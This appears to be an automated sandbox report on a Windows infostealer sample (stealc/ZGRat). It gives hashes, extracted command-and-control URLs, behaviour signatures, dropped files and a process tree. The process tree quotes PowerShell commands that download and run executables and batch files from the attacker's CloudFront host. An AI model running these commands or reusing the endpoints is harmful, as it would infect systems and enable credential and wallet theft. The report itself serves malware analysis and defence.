Analysis
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max time kernel
296s -
max time network
244s -
platform
windows10-1703_x64 -
resource
win10-20240404-en -
resource tags
arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system -
submitted
09-05-2024 22:58
Static task
static1
Behavioral task
behavioral1
Sample
56e5aaed7fcbfd493fddd37e86b43030d575d93c7f3ad7b97a4c17164ab1801d.exe
Resource
win7-20240221-en
General
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Target
56e5aaed7fcbfd493fddd37e86b43030d575d93c7f3ad7b97a4c17164ab1801d.exe
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Size
49KB
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MD5
d58a180c5d85448472b4e1007fae4b2a
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SHA1
c07bf8ee2bb73efbf111c2dd753d70bbd84cdb54
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SHA256
56e5aaed7fcbfd493fddd37e86b43030d575d93c7f3ad7b97a4c17164ab1801d
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SHA512
78002ed8c7342d2298f74090afe83572f8373c8e34a3ea9bbc2fc8fed04b2cb3511cb1fd0dd194b1ac41ac0a77ab1cdaa184d34e25cf1b21e4f8990922be3367
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SSDEEP
1536:XferrLkSRoe8C4UZsys0Dh1duFpkvFI+Plh:Xfi3k+oWDBDh1duFpjWlh
Malware Config
Extracted
https://d2iv78ooxaijb6.cloudfront.net/load/th.php?a=2836&c=1000
Extracted
https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id=425&c=1000
Extracted
https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id=444&c=1000
Extracted
stealc
http://185.172.128.150
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url_path
/c698e1bc8a2f5e6d.php
Signatures
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Detect ZGRat V1 3 IoCs
resource yara_rule behavioral2/memory/708-192-0x00000200BCB30000-0x00000200C0364000-memory.dmp family_zgrat_v1 behavioral2/memory/708-193-0x00000200DAB10000-0x00000200DAC1A000-memory.dmp family_zgrat_v1 behavioral2/memory/708-197-0x00000200C21E0000-0x00000200C2204000-memory.dmp family_zgrat_v1 -
Blocklisted process makes network request 5 IoCs
flow pid Process 20 204 powershell.exe 22 3032 powershell.exe 23 3032 powershell.exe 25 4500 powershell.exe 27 4500 powershell.exe -
Downloads MZ/PE file
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Executes dropped EXE 3 IoCs
pid Process 1840 i1.exe 4748 u1f4.0.exe 4780 u1f4.1.exe -
Loads dropped DLL 3 IoCs
pid Process 2520 56e5aaed7fcbfd493fddd37e86b43030d575d93c7f3ad7b97a4c17164ab1801d.exe 4748 u1f4.0.exe 4748 u1f4.0.exe -
Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
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Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
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Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
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pid Process 204 powershell.exe 3032 powershell.exe 4500 powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI u1f4.1.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI u1f4.1.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI u1f4.1.exe -
Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 u1f4.0.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString u1f4.0.exe -
Suspicious behavior: EnumeratesProcesses 26 IoCs
pid Process 204 powershell.exe 204 powershell.exe 204 powershell.exe 3032 powershell.exe 3032 powershell.exe 3032 powershell.exe 4500 powershell.exe 4500 powershell.exe 4500 powershell.exe 4748 u1f4.0.exe 4748 u1f4.0.exe 708 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 708 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 708 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 708 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 708 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 708 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 708 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 708 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 708 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 708 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 708 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 708 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 708 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 708 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 708 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe -
Suspicious use of AdjustPrivilegeToken 4 IoCs
description pid Process Token: SeDebugPrivilege 204 powershell.exe Token: SeDebugPrivilege 3032 powershell.exe Token: SeDebugPrivilege 4500 powershell.exe Token: SeDebugPrivilege 708 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe -
Suspicious use of FindShellTrayWindow 7 IoCs
pid Process 4780 u1f4.1.exe 4780 u1f4.1.exe 4780 u1f4.1.exe 4780 u1f4.1.exe 4780 u1f4.1.exe 4780 u1f4.1.exe 4780 u1f4.1.exe -
Suspicious use of SendNotifyMessage 7 IoCs
pid Process 4780 u1f4.1.exe 4780 u1f4.1.exe 4780 u1f4.1.exe 4780 u1f4.1.exe 4780 u1f4.1.exe 4780 u1f4.1.exe 4780 u1f4.1.exe -
Suspicious use of WriteProcessMemory 23 IoCs
description pid Process procid_target PID 2520 wrote to memory of 5100 2520 56e5aaed7fcbfd493fddd37e86b43030d575d93c7f3ad7b97a4c17164ab1801d.exe 73 PID 2520 wrote to memory of 5100 2520 56e5aaed7fcbfd493fddd37e86b43030d575d93c7f3ad7b97a4c17164ab1801d.exe 73 PID 2520 wrote to memory of 5100 2520 56e5aaed7fcbfd493fddd37e86b43030d575d93c7f3ad7b97a4c17164ab1801d.exe 73 PID 5100 wrote to memory of 204 5100 cmd.exe 75 PID 5100 wrote to memory of 204 5100 cmd.exe 75 PID 5100 wrote to memory of 204 5100 cmd.exe 75 PID 5100 wrote to memory of 3032 5100 cmd.exe 76 PID 5100 wrote to memory of 3032 5100 cmd.exe 76 PID 5100 wrote to memory of 3032 5100 cmd.exe 76 PID 5100 wrote to memory of 1840 5100 cmd.exe 77 PID 5100 wrote to memory of 1840 5100 cmd.exe 77 PID 5100 wrote to memory of 1840 5100 cmd.exe 77 PID 5100 wrote to memory of 4500 5100 cmd.exe 78 PID 5100 wrote to memory of 4500 5100 cmd.exe 78 PID 5100 wrote to memory of 4500 5100 cmd.exe 78 PID 1840 wrote to memory of 4748 1840 i1.exe 79 PID 1840 wrote to memory of 4748 1840 i1.exe 79 PID 1840 wrote to memory of 4748 1840 i1.exe 79 PID 1840 wrote to memory of 4780 1840 i1.exe 81 PID 1840 wrote to memory of 4780 1840 i1.exe 81 PID 1840 wrote to memory of 4780 1840 i1.exe 81 PID 4780 wrote to memory of 708 4780 u1f4.1.exe 83 PID 4780 wrote to memory of 708 4780 u1f4.1.exe 83
Processes
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C:\Users\Admin\AppData\Local\Temp\56e5aaed7fcbfd493fddd37e86b43030d575d93c7f3ad7b97a4c17164ab1801d.exe"C:\Users\Admin\AppData\Local\Temp\56e5aaed7fcbfd493fddd37e86b43030d575d93c7f3ad7b97a4c17164ab1801d.exe"1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2520 -
C:\Windows\SysWOW64\cmd.exe"cmd" /c "C:\Users\Admin\AppData\Local\Temp\nsd5B9E.tmp\app.bat"2⤵
- Suspicious use of WriteProcessMemory
PID:5100 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -Command "(New-Object Net.WebClient).DownloadFile('https://d2iv78ooxaijb6.cloudfront.net/load/th.php?a=2836&c=1000','stat')"3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:204
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -Command "(New-Object Net.WebClient).DownloadFile('https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id=425&c=1000','i1.exe')"3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3032
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C:\Users\Admin\AppData\Local\Temp\i1.exei1.exe /SUB=2838 /str=one3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1840 -
C:\Users\Admin\AppData\Local\Temp\u1f4.0.exe"C:\Users\Admin\AppData\Local\Temp\u1f4.0.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
PID:4748
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C:\Users\Admin\AppData\Local\Temp\u1f4.1.exe"C:\Users\Admin\AppData\Local\Temp\u1f4.1.exe"4⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:4780 -
C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe"C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe" /eieci=11A12794-499E-4FA0-A281-A9A9AA8B2685 /eipi=5488CB36-BE62-4606-B07B-2EE938868BD15⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:708
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -command "$cli = New-Object System.Net.WebClient;$cli.Headers['User-Agent'] = 'InnoDownloadPlugin/1.5';$cli.DownloadFile('https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id=444&c=1000', 'i2.bat')"3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4500
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
11KB
MD5a33e5b189842c5867f46566bdbf7a095
SHA1e1c06359f6a76da90d19e8fd95e79c832edb3196
SHA2565abf8e3d1f78de7b09d7f6fb87f9e80e60caacf13ef3c1289665653dacd7c454
SHA512f2ad3812ec9b915e9618539b0f103f2e9acaad25fbbacd84941c954ce070af231324e83a4621e951c1dbae8d40d50410954e40dd52bbd46e34c54b0d1957407b
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Filesize
1KB
MD566382a4ca6c4dcf75ce41417d44be93e
SHA18132cbef1c12f8a89a68a6153ade4286bf130812
SHA256a70acce0f4c6ab59b88ce79d84c38d4abffe19b72b033250499b17d788a2db56
SHA5122bf66f2850f4a65220085c55a5b3c8866453104d78fe516e5bd6e3e47df783062ce4ea10de580f2eb0274ac8c3ce71965201c49ef55a78f307731ccc8600aadc
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Filesize
16KB
MD5bd07a04ff703b68279e1de431753ec52
SHA107c067c097858aab61a993b4121ccbd284a57380
SHA256a8a4865c68ba2135f6566511361a378549b734a7b481330c5b8c74fb100c492f
SHA512ab36b392a08825ce6852c209bc7490ee7c7ef8d2a4c42fde0bf4c61856962626b8edce9b36e810752c5df2ffa7a9e7e2b0880ba25fc6c5f881b166c97b60eea0
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Filesize
16KB
MD5dc5d733037418043497b2c99124f132b
SHA15fe601c81ebc02660bd94d0c7c21f0daeea4e794
SHA256757e1e1e4a6c6a62c3a71de6a32ba6023d3955b705ac11e0e7aec6e776ebc3a6
SHA5120691ee1f24cee85afc59859c2c7b38cfbb8e3fb86afe26100ae6ed66d6128e858ad07a22763046e66dcbfb8b4cf50020c00500a2950185a743f2d9bf3b88bfab
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Filesize
1B
MD5c4ca4238a0b923820dcc509a6f75849b
SHA1356a192b7913b04c54574d18c28d46e6395428ab
SHA2566b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
SHA5124dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a
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Filesize
384KB
MD50f39626443b9a5ecbdac24c96e12728a
SHA104c402e550534f0871471f5b80fc5723f283f25c
SHA256fab860ca07692e3f3f2c438a9faf142288fdbcbb43edf24e8b3b88683a529477
SHA5129b74eea35b9ed7ea5e286ec29a676407f72a63c3d90c22616d73d0626a0cf656d9e1aaafd8c07021c38c8bf9cc75cd1a6b6ca4f7198f07c8794aad1d4bf618e6
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Filesize
3KB
MD531ac12b5051f61d39a941b58d49d3e4c
SHA1fb365272f12ef2f4dcbc77695a4ce3996929a27d
SHA256fb309125d53f8d7caebb0d1c75fe4aeee34afbd4cbd934544e2bd64cd167a5f5
SHA5122c2328d147d4bbddfcb36e868b6362d56312b4d35a0b0a74eced0b7797d88da3448152a52b0dc4df4ed38d48b625ce36d0e44faeeaa4846a37c9d12a1b8f865b
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Filesize
735B
MD5f32d05160acf8325e9a09f09f80d16f4
SHA146e159b71e6ef99076c4002e1fda134e1d0a86c9
SHA256da8f4f45b105538f0063ece220b69455b15c8e680099c02221c093ecb794ae37
SHA512147c870edd09fa3f6cd93caae809b5d66fecc759e3cfee4e47dc487786edc760989fdb23310b4284e63871fe1b1d805e949601f54bfc93ff80e2e097a989879b
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Filesize
206KB
MD50917be53327ea132956255dcab650a82
SHA1b60818917f645a8a9af3b530e3ae37c1f002be2f
SHA256211c34660898480e0777c6ef6f61bf2111f6550e00b40cab859543d567dc455a
SHA512a72acc24ba813d983bbf2ecab7929d0aab4e25637ae43e85b973a5105429bd15c061415fd855737620caaf81b456b2d6ba57f85566245efbe5f8b5db5560932a
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Filesize
4.6MB
MD5397926927bca55be4a77839b1c44de6e
SHA1e10f3434ef3021c399dbba047832f02b3c898dbd
SHA2564f07e1095cc915b2d46eb149d1c3be14f3f4b4bd2742517265947fd23bdca5a7
SHA512cf54136b977fc8af7e8746d78676d0d464362a8cfa2213e392487003b5034562ee802e6911760b98a847bddd36ad664f32d849af84d7e208d4648bd97a2fa954
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Filesize
593KB
MD5c8fd9be83bc728cc04beffafc2907fe9
SHA195ab9f701e0024cedfbd312bcfe4e726744c4f2e
SHA256ba06a6ee0b15f5be5c4e67782eec8b521e36c107a329093ec400fe0404eb196a
SHA512fbb446f4a27ef510e616caad52945d6c9cc1fd063812c41947e579ec2b54df57c6dc46237ded80fca5847f38cbe1747a6c66a13e2c8c19c664a72be35eb8b040
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Filesize
2.0MB
MD51cc453cdf74f31e4d913ff9c10acdde2
SHA16e85eae544d6e965f15fa5c39700fa7202f3aafe
SHA256ac5c92fe6c51cfa742e475215b83b3e11a4379820043263bf50d4068686c6fa5
SHA512dd9ff4e06b00dc831439bab11c10e9b2ae864ea6e780d3835ea7468818f35439f352ef137da111efcdf2bb6465f6ca486719451bf6cf32c6a4420a56b1d64571
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Filesize
25KB
MD540d7eca32b2f4d29db98715dd45bfac5
SHA1124df3f617f562e46095776454e1c0c7bb791cc7
SHA25685e03805f90f72257dd41bfdaa186237218bbb0ec410ad3b6576a88ea11dccb9
SHA5125fd4f516ce23fb7e705e150d5c1c93fc7133694ba495fb73101674a528883a013a34ab258083aa7ce6072973b067a605158316a4c9159c1b4d765761f91c513d